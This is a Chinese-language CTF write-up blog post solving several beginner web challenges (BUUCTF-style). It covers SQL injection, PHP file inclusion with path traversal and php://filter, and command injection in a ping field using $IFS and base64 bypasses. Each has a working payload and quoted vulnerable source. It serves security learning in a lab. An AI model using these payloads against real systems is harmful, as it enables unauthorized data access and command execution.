【CTF】Day 1

xiaoeyv
2年前发布

重操旧业!

[极客大挑战 2019]EasySQL

题目截图

进入后发现是账号登录的界面,尝试一些特殊字符串,如单引号,发现报错:


You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin'' at line 1

这说明存在注入点,我们输入账号为以下值,密码随意输入后,即可拿到 flag。

Payload


test' or 1;#

[极客大挑战 2019]Havefun

进去后是一只猫,点击后没什么反应,只能先审计源代码。在根目录发现如下代码:

<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
    echo 'Syc{cat_cat_cat_cat}';
}
-->

Havefun截图

直接在 URL 内带参,即可得到 flag。

Payload

/?cat=dog

[HCTF 2018]WarmUp

进去后是个滑稽,老样子先审计代码,发现 HTML 注释内带着一个文件名:source.php,访问后发现输出代码:

源码截图

<?php
    highlight_file(__FILE__);
    class emmm {
        public static function checkFile(&$page) {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

代码审计

checkFile 函数

  • 判断 page,如果为空或不为字符串,则返回 false
  • 检测 page 是否在白名单列表内,如果在,则返回 true
  • 新建 _page 变量,拼接 page 和问号,然后截取问号前的内容,再次判断是否在白名单。还会进行一次 urldecode 提高兼容性。

在白名单列表里还有 hint.php,访问后提示:flag not here, and flag in ffffllllaaaagggg,说明 flag 在一个名为 ffffllllaaaagggg 的文件内。

根据逻辑,可以传入白名单文件名并在后面加问号,这样 checkFile 通过校验,而后面的 include 则能拼接访问到真正的 flag。

Payload

/?file=source.php?../../../../../ffffllllaaaagggg

[ACTF2020 新生赛]Include

进入后只有个超链接 tips,点击后访问 ?file=flag.php,输出 Can you find out the flag?

题目提示了是 include,于是尝试 index.php,发现输出重复,说明重复调用,需要加密输出。

尝试 php://input 被拦截,提示 hacker。于是使用 php://filter

?file=php://filter/read=convert.base64-encode/resource=index.php

解码后代码如下:

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    exit('hacker!');
}
if($file){
    include($file);
}else{
    echo '<a href="?file=flag.php">tips</a>';
}
?>

同理,读取 flag.php 即可获取 flag。

Payload

/?file=php://filter/read=convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]Exec

进去后有一个输入框,可以进行 ping IP 操作,下面有回显。

exec截图1

题目提示 exec,推断是 ping IP,于是构造命令:

exec截图2

127.0.0.1&&cd /&&ls

看到回显中有 flag,直接查看:

Payload

127.0.0.1&&cat /flag

[GXYCTF2019]Ping Ping Ping

进入后提示 /?ip=,输入 ?ip=127.0.0.1,输出了 ping 结果。

在 IP 后加入 ls 成功执行,发现有 index.phpflag.php
尝试 cat flag.php 提示不能有空格,于是用 $IFS 代替,结果发现不能使用 flag 关键字。于是想到用 base64 执行:

?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d|bash

提示 bash 不能用,尝试了花括号、小括号、星号都不行,最后用反引号成功。

Payload

/?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d

[SUCTF 2019]EasySQL

进入后是一段话:Give me your flag, I will tell you if the flag is right. 下方有个输入框。

输入 flag 后提示 NONONO;输入双引号也提示 NONONO,推断有屏蔽词,比如 and、or、from
输入数字时返回 Array ( [0] => 1 ),说明可以查表,但语句中不能出现屏蔽词。

查阅 WP,有两种方法:

  1. 利用 SQL 查询逻辑
    数字输入有回显,字符串无回显,说明存在 OR 逻辑。SQL 语句大概是:

    select cmd || flag from flag

    cmd=*,1 时:

    select *,1 || flag from flag

    这样 1 短路第一个 flag,成功查询出 flag。

  2. 利用 sql\_mode
    sql_mode 控制 SQL 语法,PIPES_AS_CONCAT 会将 || 当作字符串连接符,而不是逻辑或。

Payload

*,1
1;set sql_mode=PIPES_AS_CONCAT;select 1

今天学到很多,睡觉睡觉。

© 版权声明
THE END
喜欢就支持一下吧
点赞 0 分享 收藏
评论 抢沙发
OωO
取消